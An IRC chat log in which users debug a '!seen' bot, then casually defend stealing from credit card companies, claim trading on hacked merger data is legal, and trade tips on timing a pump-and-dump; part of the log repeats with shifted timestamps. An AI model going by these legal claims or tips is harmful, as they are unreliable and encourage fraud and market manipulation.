[2015-04-04T20:15:34-0400] <z3t> when I curl I get the default ubuntu installation page
[2015-04-04T20:15:44-0400] <z3t> btw close some damn reddit tabs
[2015-04-04T20:16:43-0400] <LittleBobbyTables> Wait, damn it.
[2015-04-04T20:16:46-0400] <LittleBobbyTables> I forgot I disabled that option
[2015-04-04T20:16:53-0400] <LittleBobbyTables> I was going to screenshot "You're about to close 500 tabs"
[2015-04-04T20:18:40-0400] <z3t> haha
[2015-04-04T20:21:50-0400] <LittleBobbyTables> whoa
[2015-04-04T20:21:56-0400] <LittleBobbyTables> http://i.imgur.com/chPuge2.png
[2015-04-04T20:21:57-0400] <LittleBobbyTables> ignore the picture
[2015-04-04T20:21:58-0400] <LittleBobbyTables> but
[2015-04-04T20:22:05-0400] <LittleBobbyTables> does imgur have a bunch of black lines in the background?
[2015-04-04T20:27:23-0400] <z3t> black lines?
[2015-04-04T20:27:25-0400] <z3t> http://puu.sh/h1MFa/5b80afd90a.png
[2015-04-04T20:28:03-0400] <LittleBobbyTables> they're gone now
[2015-04-04T20:28:24-0400] <z3t> must be the feds breaking into your computer!
[2015-04-04T20:58:04-0400] <z3t> oops
[2015-04-04T20:58:12-0400] <z3t> !seen z3t
[2015-04-04T20:58:13-0400] <zBot> pdgn: z3t's last active time is unknown.
[2015-04-04T20:58:16-0400] <z3t> !seen z3t
[2015-04-04T20:58:16-0400] <zBot> pdgn: z3t's last active time is unknown.
[2015-04-04T20:58:19-0400] <z3t> nu!
[2015-04-04T20:58:38-0400] <z3t> worked in test channel >.<
[2015-04-04T20:58:53-0400] Mode is +nt
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[2015-04-04T20:59:07-0400] <z3t> oh I'm an idiot
[2015-04-04T21:04:51-0400] zBot (zBot@pdgn-jss.in2.frqgna.IP) joined the channel
[2015-04-04T21:04:56-0400] <z3t> !seen z3t
[2015-04-04T21:05:06-0400] <z3t> !seen z3t
[2015-04-04T21:05:08-0400] <z3t> ok then
[2015-04-04T21:05:17-0400] <jwoglom> !seen yourmom
[2015-04-04T21:05:53-0400] <z3t> works in test channel, doesn't work here
[2015-04-04T21:05:55-0400] <z3t> makes sense
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[2015-04-04T21:06:35-0400] <LittleBobbyTables> its cus ur bad progamer
[2015-04-04T21:06:40-0400] <LittleBobbyTables> http://i.imgur.com/iwylbHK.jpg
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[2015-04-04T21:07:44-0400] <z3t> !seen zBot
[2015-04-04T21:07:48-0400] <z3t> ffs
[2015-04-04T21:07:54-0400] <z3t> it literally only works in random test channels
[2015-04-04T21:08:32-0400] <jwoglom> do you have any debugging stuff running?
[2015-04-04T21:08:36-0400] <jwoglom> can you see why it's failing
[2015-04-04T21:09:08-0400] <z3t> well, none of these messages are appearing, so I guess that's a bad sign
[2015-04-04T21:09:39-0400] <z3t> wait here it comes
[2015-04-04T21:09:41-0400] <z3t> I think
[2015-04-04T21:10:22-0400] <LittleBobbyTables> Is it working in other #pdgn channels?
[2015-04-04T21:10:27-0400] <z3t> yes...
[2015-04-04T21:10:29-0400] <z3t> just not this one
[2015-04-04T21:10:36-0400] <z3t> >.>
[2015-04-04T21:10:46-0400] <jwoglom> there aren't any quiets or anything in this channel, right?
[2015-04-04T21:10:56-0400] <LittleBobbyTables> Mode: +tn
[2015-04-04T21:10:57-0400] <LittleBobbyTables>     Only ops can set the topic (t)
[2015-04-04T21:10:57-0400] <LittleBobbyTables>     No messages allowed from outside the channel (n)
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[2015-04-04T21:11:53-0400] <z3t> I don't even want to try it >.
[2015-04-04T21:11:54-0400] <LittleBobbyTables> !seen z3t 
[2015-04-04T21:12:10-0400] <LittleBobbyTables> wtf awebot
[2015-04-04T21:12:11-0400] <LittleBobbyTables> 1:12 AM <awebot> Do you want to come over to my place and feed your beaver some wood?
[2015-04-04T21:12:22-0400] <jwoglom> that's awebot for ya
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[2015-04-04T21:12:36-0400] <LittleBobbyTables> fucking awebot
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[2015-04-04T21:13:06-0400] <zBot> test
[2015-04-04T21:13:11-0400] <zBot> well, it's nothing about this channel
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[2015-04-04T21:14:45-0400] <z3t> oh I see why
[2015-04-04T21:15:10-0400] <z3t> the file that stores timestamps went rouge and is now 1181697 seen.txt
[2015-04-04T21:15:14-0400] <z3t> lines
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[2015-04-04T21:16:12-0400] <z3t> !seen z3t
[2015-04-04T21:16:12-0400] <zBot> z3t: z3t was last active at 2015-04-04 21:16:07 EDT-0400
[2015-04-04T21:17:57-0400] <LittleBobbyTables> !SEEN LittleBobbyTables 
[2015-04-04T21:18:02-0400] <LittleBobbyTables> case sensitive
[2015-04-04T21:18:05-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:18:05-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:18:11-0400] <LittleBobbyTables> broken bot
[2015-04-04T21:20:06-0400] <z3t> err
[2015-04-04T21:20:11-0400] <z3t> !seen LittleBobbyTables 
[2015-04-04T21:20:12-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:20:14-0400] <z3t> heh
[2015-04-04T21:20:24-0400] <z3t> !seen zBot
[2015-04-04T21:20:25-0400] <zBot> z3t: zBot was last active at 2015-04-04 21:20:07 EDT-0400
[2015-04-04T21:20:27-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:20:27-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:20:30-0400] <LittleBobbyTables> !seen LittleBobbyTables
[2015-04-04T21:20:31-0400] <zBot> LittleBobbyTables: LittleBobbyTables was last active at 2015-04-04 21:20:25 EDT-0400
[2015-04-04T21:20:37-0400] <LittleBobbyTables> ^
[2015-04-04T21:20:38-0400] <LittleBobbyTables> fix it
[2015-04-04T21:20:44-0400] <z3t> what's broken...
[2015-04-04T21:21:04-0400] <z3t> it works after several tries?
[2015-04-04T21:21:08-0400] <z3t> idek
[2015-04-04T21:21:10-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:21:11-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:21:12-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:21:16-0400] <z3t> chill
[2015-04-04T21:21:23-0400] <LittleBobbyTables> lol
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[2015-04-04T21:21:43-0400] <z3t> leave was on purpose
[2015-04-04T21:21:53-0400] <z3t> file went rouge...again
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[2015-04-04T21:23:17-0400] <z3t> !seen z3t
[2015-04-04T21:23:17-0400] <zBot> z3t: z3t was last active at 2015-04-04 21:23:12 EDT-0400
[2015-04-04T21:23:21-0400] <z3t> !seen LittleBobbyTables 
[2015-04-04T21:23:21-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:23:24-0400] <z3t> !seen LittleBobbyTables
[2015-04-04T21:23:24-0400] <zBot> z3t: LittleBobbyTable's last active time is unknown.
[2015-04-04T21:23:28-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:23:28-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:23:32-0400] <z3t> oh I see
[2015-04-04T21:23:34-0400] <LittleBobbyTables> Yeah.
[2015-04-04T21:23:36-0400] <LittleBobbyTables> !seen LittleBobbyTables
[2015-04-04T21:23:36-0400] <zBot> LittleBobbyTables: LittleBobbyTable was last active at 2015-04-04 21:23:31 EDT-0400
[2015-04-04T21:23:39-0400] <z3t> it's the space
[2015-04-04T21:23:39-0400] <jwoglom> !seem zBot
[2015-04-04T21:23:41-0400] <jwoglom> !seen zBot
[2015-04-04T21:23:42-0400] <zBot> jwoglom: zBot was last active at 2015-04-04 21:23:31 EDT-0400
[2015-04-04T21:23:47-0400] <jwoglom> !seen zBot ayy lmao
[2015-04-04T21:23:52-0400] <jwoglom> !seen ayylmao
[2015-04-04T21:23:58-0400] <zBot> Usage: !seen [nick]
[2015-04-04T21:24:05-0400] <jwoglom> !seen jwoglom
[2015-04-04T21:24:07-0400] <z3t> intentional dc here
[2015-04-04T21:24:08-0400] <jwoglom> !seen ayy
[2015-04-04T21:24:09-0400] <jwoglom> !seen lmao
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[2015-04-04T21:25:40-0400] <z3t> !seen LittleBobbyTables 
[2015-04-04T21:25:49-0400] <LittleBobbyTables> !seen LittleBobbyTables 
[2015-04-04T21:25:49-0400] <z3t> >.>
[2015-04-04T21:25:56-0400] <LittleBobbyTables> your bot is bad
[2015-04-04T21:26:00-0400] <+awe> Do you want me to just add this feature to awebot?
[2015-04-04T21:26:03-0400] <+awe> It'll work more reliably if I write it.
[2015-04-04T21:26:11-0400] <LittleBobbyTables> #rekt
[2015-04-04T21:26:18-0400] <z3t> it's just something wrong with the write
[2015-04-04T21:26:27-0400] <z3t> the file goes to > 1 million lines for no reason
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[2015-04-04T21:26:38-0400] <+awe> LOL.
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[2015-04-04T21:28:36-0400] <z3t> should work now
[2015-04-04T21:28:41-0400] <z3t> !seen z3t
[2015-04-04T21:28:41-0400] <zBot> z3t: z3t was last active at 2015-04-04 21:28:36 EDT-0400
[2015-04-04T21:28:58-0400] <z3t> !seen zBot 
[2015-04-04T21:28:58-0400] <zBot> z3t: zBot was last active at 2015-04-04 21:28:36 EDT-0400
[2015-04-04T21:29:12-0400] <+awe> !seen awe
[2015-04-04T21:29:12-0400] <zBot> awe: awe was last active at 2015-04-04 21:29:07 EDT-0400
[2015-04-04T21:29:24-0400] <+awe> Oh, ok.
[2015-04-04T21:29:30-0400] <z3t> it works unti jwoglom spams it I think
[2015-04-04T21:32:49-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:49-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:32:49-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:49-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:32:50-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:50-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:32:50-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:50-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:51-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:51-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:51-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:51-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:52-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:32:53-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:53-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:53-0400] <+awe> !seen jwoglom 
[2015-04-04T21:32:54-0400] <+awe> !seen jwoglom 
[2015-04-04T21:33:02-0400] <+awe> I think I broke it.
[2015-04-04T21:33:16-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:34:13-0400] <jwoglom> awe: ayy, that's my job m8
[2015-04-04T21:34:18-0400] <z3t> !seen jwoglom 
[2015-04-04T21:34:21-0400] <jwoglom> !seen awe
[2015-04-04T21:34:23-0400] <z3t> ah shiit
[2015-04-04T21:34:23-0400] <jwoglom> !seen awe
[2015-04-04T21:34:26-0400] <jwoglom> !seen awe
[2015-04-04T21:34:27-0400] <jwoglom> !seen awe
[2015-04-04T21:34:29-0400] <+awe> z3t: I broke it. :)
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[2015-04-04T21:34:58-0400] <z3t> intentional dc
[2015-04-04T21:35:17-0400] <z3t> storage file is 1048577 lines
[2015-04-04T21:35:20-0400] <z3t> How in the hell
[2015-04-04T21:35:54-0400] <jwoglom> how are you finding the last active time?
[2015-04-04T21:35:59-0400] <jwoglom> searching backwords through the log?
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[2015-04-04T21:36:49-0400] <z3t> no it just takes times from the first time it joined forward
[2015-04-04T21:37:03-0400] <z3t> !seen z3t
[2015-04-04T21:37:03-0400] <zBot> z3t: z3t was last active at 2015-04-04 21:36:58 EDT-0400
[2015-04-04T21:37:10-0400] <z3t> it should work now
[2015-04-04T21:37:10-0400] <jwoglom> !seen awe
[2015-04-04T21:37:10-0400] <zBot> jwoglom: awe's last active time is unknown.
[2015-04-04T21:37:12-0400] <jwoglom> !seen awe
[2015-04-04T21:37:13-0400] <zBot> jwoglom: awe's last active time is unknown.
[2015-04-04T21:37:14-0400] <jwoglom> !seen awe
[2015-04-04T21:37:15-0400] <zBot> jwoglom: awe's last active time is unknown.
[2015-04-04T21:37:16-0400] <jwoglom> !seen awe
[2015-04-04T21:37:17-0400] <zBot> jwoglom: awe's last active time is unknown.
[2015-04-04T21:37:17-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:17-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:37:17-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:18-0400] <zBot> awe: jwoglom's last active time is unknown.
[2015-04-04T21:37:18-0400] <jwoglom> !seen awe
[2015-04-04T21:37:19-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:20-0400] <jwoglom> !seen awe
[2015-04-04T21:37:21-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:21-0400] <+awe> !seen jwoglom 
[2015-04-04T21:37:22-0400] <jwoglom> !seen awe
[2015-04-04T21:37:23-0400] <zBot> jwoglom: awe's last active time is unknown.
[2015-04-04T21:37:23-0400] <z3t> yeah broken
[2015-04-04T21:37:24-0400] <jwoglom> !seen awe
[2015-04-04T21:37:27-0400] <jwoglom> !seen awe
[2015-04-04T21:37:28-0400] <z3t> assholes
[2015-04-04T21:37:28-0400] <jwoglom> !seen awe
[2015-04-04T21:37:31-0400] <jwoglom> searching backwords through the log?
[2015-04-04T21:37:31-0400] <+awe> z3t: You're welcome.
[2015-04-04T21:37:32-0400] <jwoglom> searching backwords through the log?
[2015-04-04T21:37:34-0400] <jwoglom> !seen awe
[2015-04-04T21:37:36-0400] <jwoglom> !seen awe
[2015-04-04T21:37:38-0400] <jwoglom> !seen awe
[2015-04-04T21:37:40-0400] <jwoglom> !seen awe
[2015-04-04T21:37:42-0400] <jwoglom> !seen awe
[2015-04-04T21:37:44-0400] <jwoglom> !seen awe
[2015-04-04T21:37:46-0400] <jwoglom> !seen awe
[2015-04-04T21:37:48-0400] <jwoglom> !seen awe
[2015-04-04T21:37:49-0400] zBot (zBot@pdgn-jss.in2.frqgna.IP) left IRC (Connection closed)
[2015-04-04T21:37:50-0400] <jwoglom> !seen awe
[2015-04-04T21:37:52-0400] <jwoglom> :)
[2015-04-04T21:38:01-0400] <z3t> 500k lines
[2015-04-04T21:38:03-0400] <z3t> I don't even know
[2015-04-04T21:39:11-0400] <jwoglom> also, if we're doing bots..
[2015-04-04T21:39:19-0400] <+awe> jwoglom: No.
[2015-04-04T21:39:28-0400] <+awe> jwoglom: Whatever it is, I'm vetoing it before it happens.
[2015-04-04T21:39:48-0400] zBot (zBot@pdgn-jss.in2.frqgna.IP) joined the channel
[2015-04-04T21:39:49-0400] <z3t> last attempt
[2015-04-04T21:39:58-0400] <z3t> !seen z3t
[2015-04-04T21:39:59-0400] <zBot> z3t: z3t was last active at 2015-04-04 21:39:53 EDT-0400
[2015-04-04T21:40:16-0400] jwoglomBot (jwoglomBot@pdgn-npn.rgt.b45una.IP) joined the channel
[2015-04-04T21:40:26-0400] <jwoglom> it's not evil or anything
[2015-04-04T21:40:30-0400] <z3t> !seen jwoglomBot 
[2015-04-04T21:40:30-0400] <jwoglomBot> jwoglomBot was last seen 0:00:12 ago saying "Joined channel #chan2"
[2015-04-04T21:40:30-0400] <zBot> z3t: jwoglomBot was last active at 2015-04-04 21:40:21 EDT-0400
[2015-04-04T21:40:57-0400] <jwoglom> !botspam
[2015-04-04T21:40:57-0400] <jwoglomBot> FileNotFoundError occured in commands.botspam. See the control channel for details.
[2015-04-04T21:41:06-0400] <z3t> ha
[2015-04-04T21:41:12-0400] <z3t> you fail
[2015-04-04T21:41:20-0400] <jwoglom> it's just because i don't have fortune installed on my machine :P
[2015-04-04T21:41:28-0400] <z3t> !seen jwoglom 
[2015-04-04T21:41:28-0400] <jwoglomBot> jwoglom was last seen 0:00:08 ago saying "it's just because i don't have fortune installed on my machine :P"
[2015-04-04T21:41:29-0400] <zBot> z3t: jwoglom was last active at 2015-04-04 21:41:15 EDT-0400
[2015-04-04T21:41:35-0400] <jwoglom> http://google.com
[2015-04-04T21:41:35-0400] <jwoglomBot> ** Google - http://google.com
[2015-04-04T21:41:38-0400] <jwoglom> http://google.com
[2015-04-04T21:41:38-0400] <jwoglomBot> Url http://google.com previously posted at 21:41:30 on 2015-04-04 by jwoglom -- Google
[2015-04-04T21:41:48-0400] <z3t> seems very similar to the tjhsst bot
[2015-04-04T21:41:57-0400] <z3t> if not the same source
[2015-04-04T21:42:10-0400] <jwoglom> it's the same bot, lol
[2015-04-04T21:42:13-0400] <jwoglom> !about
[2015-04-04T21:42:13-0400] <jwoglomBot> See https://github.com/ Developed by the TJHSST CSL. Type !help for a list of commands.
[2015-04-04T21:42:21-0400] <jwoglom> *github.com/tjcsl/cslbot
[2015-04-04T21:42:22-0400] <jwoglomBot> ** tjcsl/cslbot · GitHub - github.com/tjcsl/cslbot
[2015-04-04T21:43:10-0400] <jwoglom> if you have multiple instances running at the same time and post a URL, it's fun :)
[2015-04-04T21:43:17-0400] <z3t> heh
[2015-04-04T21:43:30-0400] <jwoglom> !fortune
[2015-04-04T21:43:30-0400] <jwoglomBot> CalledProcessError occured in commands.fortune. See the control channel for details.
[2015-04-04T21:43:37-0400] <z3t> nice
[2015-04-04T21:43:53-0400] <z3t> !seen jwoglomBot
[2015-04-04T21:43:53-0400] <jwoglomBot> jwoglomBot was last seen 0:01:19 ago saying "jwoglom was last seen 0:00:12 ago saying "*github.com/tjcsl/cslbot""
[2015-04-04T21:44:00-0400] <z3t> annnnd my bot broke 
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[2015-04-04T21:44:10-0400] <jwoglom> !fortune
[2015-04-04T21:44:10-0400] <jwoglomBot> Don't change the reason, just change the excuses!
[2015-04-04T21:44:10-0400] <jwoglomBot> -- Joe Cointment
[2015-04-04T21:44:16-0400] <jwoglom> !fortune -o
[2015-04-04T21:44:16-0400] <jwoglomBot> LET Jesus be YOUR anchor!
[2015-04-04T21:44:16-0400] <jwoglomBot> So when Satan rocks your boat, THROW Jesus overboard!
[2015-04-04T21:44:17-0400] <z3t> I don't understand what's happening
[2015-04-04T21:44:20-0400] <jwoglom> there
[2015-04-04T21:44:23-0400] <jwoglom> !urban
[2015-04-04T21:44:23-0400] <jwoglomBot> ObamaVision: The pro Obama Spin on MSNBC. In ObamaVision politicans  or hacks that bring up black voter and white voter breakdowns are called racist by Chris Matthews who claims to be above it. Yet it was pointed out by other guest he'll be bring up race for hours during primary coverage. He almost cried while dening this. Later that night he told America how whites and blacks are voting.
[2015-04-04T21:44:33-0400] <z3t> *cough* awe kick it *cough*
[2015-04-04T21:44:44-0400] <jwoglom> nah, you should op it instead :)
[2015-04-04T21:44:59-0400] columba.pdgn.co kicked jwoglomBot from the channel (veto)
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[2015-04-04T21:45:07-0400] columba.pdgn.co kicked jwoglomBot from the channel (veto)
[2015-04-04T21:45:09-0400] <jwoglom> ayy that's mean
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[2015-04-04T21:45:20-0400] <z3t> that idea is worse than awe's partial promotion of cc fraud jwoglom 
[2015-04-04T21:45:30-0400] awe sets mode +o awe
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[2015-04-04T21:45:44-0400] awe sets mode +b *!jwoglomBot@*
[2015-04-04T21:45:48-0400] <z3t> rekt
[2015-04-04T21:45:54-0400] awe sets mode -o awe
[2015-04-04T21:46:01-0400] <jwoglom> :(
[2015-04-04T21:46:54-0400] <z3t> ooo uscb ctf coming up
[2015-04-04T21:48:53-0400] <z3t> awe: pls add !seen in awebot
[2015-04-04T21:49:00-0400] <+awe> It'd be @seen, but yeah.
[2015-04-04T21:49:01-0400] <+awe> Will do.
[2015-04-04T21:49:11-0400] <z3t> jerk
[2015-04-04T21:49:15-0400] <z3t> don't like !s?
[2015-04-04T21:49:49-0400] <jwoglom> why not use ! as a cmdchar
[2015-04-04T21:49:53-0400] <jwoglom> it's cooler
[2015-04-04T21:50:11-0400] <z3t> ^
[2015-04-04T21:53:13-0400] <+awe> I want to use @.
[2015-04-04T21:53:26-0400] <z3t> feels too much like twitter :L
[2015-04-04T21:54:00-0400] <+awe> Also, my promotion wasn't of credit card fraud. It was of stealing from credit card companies.
[2015-04-04T21:54:02-0400] <+awe> There's a difference.
[2015-04-04T21:54:49-0400] <z3t> Sort of
[2015-04-04T21:55:39-0400] <z3t> Credit card fraud is usually reimbursed by the company, effectively stealing from them.
[2015-04-04T21:56:20-0400] <+awe> But if that wasn't the case, I wasn't condoning sticking other people with debt from you stealing.
[2015-04-04T21:58:56-0400] <z3t> So stealing from the companies isn't sticking people with debt?
[2015-04-04T21:59:06-0400] <+awe> Not individuals, no.
[2015-04-04T21:59:28-0400] <z3t> Not the individuals that own the company?
[2015-04-04T22:01:53-0400] <+awe> No?
[2015-04-04T22:02:00-0400] <+awe> That's literally the reason companies exist.
[2015-04-04T22:02:09-0400] <+awe> So that the individuals who own the company are not liable for the company's financials.
[2015-04-04T22:02:23-0400] <+awe> And anyway, they're profiteering off the exploitation of others. So, I'm not exactly sympathetic.
[2015-04-04T22:05:11-0400] <z3t> So you would be fine stealing from a sole proprietorship?
[2015-04-04T22:10:51-0400] <LittleBobbyTables> I'd be fine stealing in general
[2015-04-04T22:11:30-0400] <z3t> well I knew that
[2015-04-04T22:15:56-0400] <+awe> z3t: Depends on the nature of their business.
[2015-04-04T22:19:40-0400] <z3t> Well you said you were fine with stealing from credit card companies, and a sole proprietorship is an individual holding full liability on the business, so you'd be effectively stealing from an individual. The "nature of their business" would be the same as the other credit card companies.
[2015-04-04T22:20:10-0400] <+awe> So, you mean a credit card company owned by a sole individual?
[2015-04-04T22:20:11-0400] <+awe> Yeah, that's fine.
[2015-04-04T22:20:35-0400] <z3t> Stealing from them is fine?
[2015-04-04T22:20:40-0400] <+awe> Yes.
[2015-04-04T22:20:44-0400] <z3t> Okay then
[2015-04-04T22:20:52-0400] <+awe> Because credit card companies are thieves.
[2015-04-04T22:21:03-0400] <+awe> They're exploitative.
[2015-04-04T22:21:43-0400] <LittleBobbyTables> So apparently these hackers a couple years ago broke into mergers and shit
[2015-04-04T22:21:53-0400] <LittleBobbyTables> Did nothing at all, except watched to see what companies would buy others, and buy their stocks
[2015-04-04T22:22:27-0400] <+awe> That's a very profitable way to go about that.
[2015-04-04T22:22:35-0400] <Hyper> LittleBobbyTables: that's hardly "nothing at all" lol
[2015-04-04T22:22:42-0400] <LittleBobbyTables> Well
[2015-04-04T22:22:48-0400] <LittleBobbyTables> Nothing at all in the sense of stealing shit
[2015-04-04T22:22:57-0400] <LittleBobbyTables> The company was left untouched
[2015-04-04T22:22:59-0400] <Hyper> technically it's insider trading ;)
[2015-04-04T22:23:00-0400] <LittleBobbyTables> They just watched
[2015-04-04T22:23:39-0400] <Hyper> it's def. the most profitable way to exploit that situation lol
[2015-04-04T22:23:42-0400] <z3t> iirc from a defcon talk, the trading with that is perfectly legal
[2015-04-04T22:23:58-0400] <z3t> only thing they would get hit on is the hacking bit
[2015-04-04T22:24:03-0400] <z3t> funds would be protected
[2015-04-04T22:24:05-0400] <LittleBobbyTables> Yeah
[2015-04-04T22:24:06-0400] <Hyper> huh
[2015-04-04T22:24:21-0400] <Hyper> is it just a technicality?
[2015-04-04T22:24:40-0400] <LittleBobbyTables> They didn't do something like
[2015-04-04T22:24:47-0400] <LittleBobbyTables> hack their trades or whatever
[2015-04-04T22:24:51-0400] <Hyper> they were not explicitly informed by an agent of the company that the merger would take place so it's not technically insider information?
[2015-04-04T22:24:52-0400] <LittleBobbyTables> They legally traded all the stocks
[2015-04-04T22:25:24-0400] <z3t> Pretty much Hyper, SEC doesn't have anything on that.
[2015-04-04T22:25:32-0400] <Hyper> aight
[2015-04-04T22:25:37-0400] <Hyper> seems mighty fishy though
[2015-04-04T22:26:00-0400] <+awe> Hyper: It's not insider trading because insider trading is defined as intentionally sharing the information.
[2015-04-04T22:26:18-0400] <Hyper> like what if I, an employee of a company, "accidentally" leave merger information on my screen and go to the bathroom, leaving my super-trustworthy friend in the room?
[2015-04-04T22:27:09-0400] <z3t> no clue with that, only know that it isn't with the hacking example.
[2015-04-04T22:27:15-0400] <Hyper> mmm
[2015-04-04T22:27:24-0400] <z3t> you could try it I guess
[2015-04-04T22:27:26-0400] <z3t> let us know
[2015-04-04T22:27:28-0400] <Hyper> lol
[2015-04-04T22:32:39-0400] <+awe> Hyper: if they could argue intent, you did it.
[2015-04-04T22:32:52-0400] <+awe> Hyper: but if the person forced access into your system, arguing intent would be hard.
[2015-04-04T22:32:55-0400] <Hyper> mmm ok
[2015-04-04T22:37:10-0400] <z3t> Speaking of stocks, I once tried to do a pump and dump and lost ~$1k because I sold too late :l
[2015-04-04T23:09:20-0400] <LittleBobbyTables> Don't sell when you think it's going to peak.
[2015-04-04T23:09:25-0400] <LittleBobbyTables> Sell before.
[2015-04-04T23:09:51-0400] <LittleBobbyTables> It'll raise a bit more because you sold, but nobody else is there to buy them, so people will panic sell and it'll crash.
[2015-04-04T23:17:50-0400] <fwilson> then you buy it again!
[2015-04-04T23:17:52-0400] <fwilson> :d
[2015-04-04T23:17:59-0400] <fwilson> :D
[2015-04-04T23:18:56-0400] <LittleBobbyTables> Yes. That's obviously how that works.
[2015-04-04T23:19:04-0400] <LittleBobbyTables> No, that's when you short sell.
[2015-04-04T23:19:10-0400] <LittleBobbyTables> Well, can you even short sell on penny stocks?
[2015-04-04T23:19:35-0400] <jwoglom> if anyone's bored, find the flag: http://morbo.wogloms.com/~james/uploads/d.gif
[2015-04-04T23:20:25-0400] <LittleBobbyTables> virus
[2015-04-04T23:29:10-0400]  
[2015-04-04T23:29:10-0400] ------------- Begin Session -------------
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[2015-04-04T23:29:10-0400] ------------- End Session -------------
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[2015-04-04T23:29:30-0400]  
[2015-04-04T23:29:30-0400] ------------- Begin Session -------------
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[2015-04-04T23:29:30-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-04-04T23:29:30-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-04T23:29:31-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-04T22:20:39-0400] <z3t> Okay then
[2015-04-04T22:20:47-0400] <+awe> Because credit card companies are thieves.
[2015-04-04T22:20:58-0400] <+awe> They're exploitative.
[2015-04-04T22:21:38-0400] <LittleBobbyTables> So apparently these hackers a couple years ago broke into mergers and shit
[2015-04-04T22:21:48-0400] <LittleBobbyTables> Did nothing at all, except watched to see what companies would buy others, and buy their stocks
[2015-04-04T22:22:22-0400] <+awe> That's a very profitable way to go about that.
[2015-04-04T22:22:30-0400] <Hyper> LittleBobbyTables: that's hardly "nothing at all" lol
[2015-04-04T22:22:37-0400] <LittleBobbyTables> Well
[2015-04-04T22:22:43-0400] <LittleBobbyTables> Nothing at all in the sense of stealing shit
[2015-04-04T22:22:52-0400] <LittleBobbyTables> The company was left untouched
[2015-04-04T22:22:54-0400] <Hyper> technically it's insider trading ;)
[2015-04-04T22:22:55-0400] <LittleBobbyTables> They just watched
[2015-04-04T22:23:34-0400] <Hyper> it's def. the most profitable way to exploit that situation lol
[2015-04-04T22:23:37-0400] <z3t> iirc from a defcon talk, the trading with that is perfectly legal
[2015-04-04T22:23:53-0400] <z3t> only thing they would get hit on is the hacking bit
[2015-04-04T22:23:58-0400] <z3t> funds would be protected
[2015-04-04T22:24:00-0400] <LittleBobbyTables> Yeah
[2015-04-04T22:24:01-0400] <Hyper> huh
[2015-04-04T22:24:16-0400] <Hyper> is it just a technicality?
[2015-04-04T22:24:35-0400] <LittleBobbyTables> They didn't do something like
[2015-04-04T22:24:42-0400] <LittleBobbyTables> hack their trades or whatever
[2015-04-04T22:24:46-0400] <Hyper> they were not explicitly informed by an agent of the company that the merger would take place so it's not technically insider information?
[2015-04-04T22:24:47-0400] <LittleBobbyTables> They legally traded all the stocks
[2015-04-04T22:25:19-0400] <z3t> Pretty much Hyper, SEC doesn't have anything on that.
[2015-04-04T22:25:27-0400] <Hyper> aight
[2015-04-04T22:25:32-0400] <Hyper> seems mighty fishy though
[2015-04-04T22:25:55-0400] <+awe> Hyper: It's not insider trading because insider trading is defined as intentionally sharing the information.
[2015-04-04T22:26:13-0400] <Hyper> like what if I, an employee of a company, "accidentally" leave merger information on my screen and go to the bathroom, leaving my super-trustworthy friend in the room?
[2015-04-04T22:27:04-0400] <z3t> no clue with that, only know that it isn't with the hacking example.
[2015-04-04T22:27:10-0400] <Hyper> mmm
[2015-04-04T22:27:19-0400] <z3t> you could try it I guess
[2015-04-04T22:27:21-0400] <z3t> let us know
[2015-04-04T22:27:23-0400] <Hyper> lol
[2015-04-04T22:32:34-0400] <+awe> Hyper: if they could argue intent, you did it.
[2015-04-04T22:32:47-0400] <+awe> Hyper: but if the person forced access into your system, arguing intent would be hard.
[2015-04-04T22:32:49-0400] <Hyper> mmm ok
[2015-04-04T22:37:05-0400] <z3t> Speaking of stocks, I once tried to do a pump and dump and lost ~$1k because I sold too late :l
[2015-04-04T23:09:15-0400] <LittleBobbyTables> Don't sell when you think it's going to peak.
[2015-04-04T23:09:20-0400] <LittleBobbyTables> Sell before.
[2015-04-04T23:09:46-0400] <LittleBobbyTables> It'll raise a bit more because you sold, but nobody else is there to buy them, so people will panic sell and it'll crash.
[2015-04-04T23:17:45-0400] <fwilson> then you buy it again!
[2015-04-04T23:17:47-0400] <fwilson> :d
[2015-04-04T23:17:54-0400] <fwilson> :D
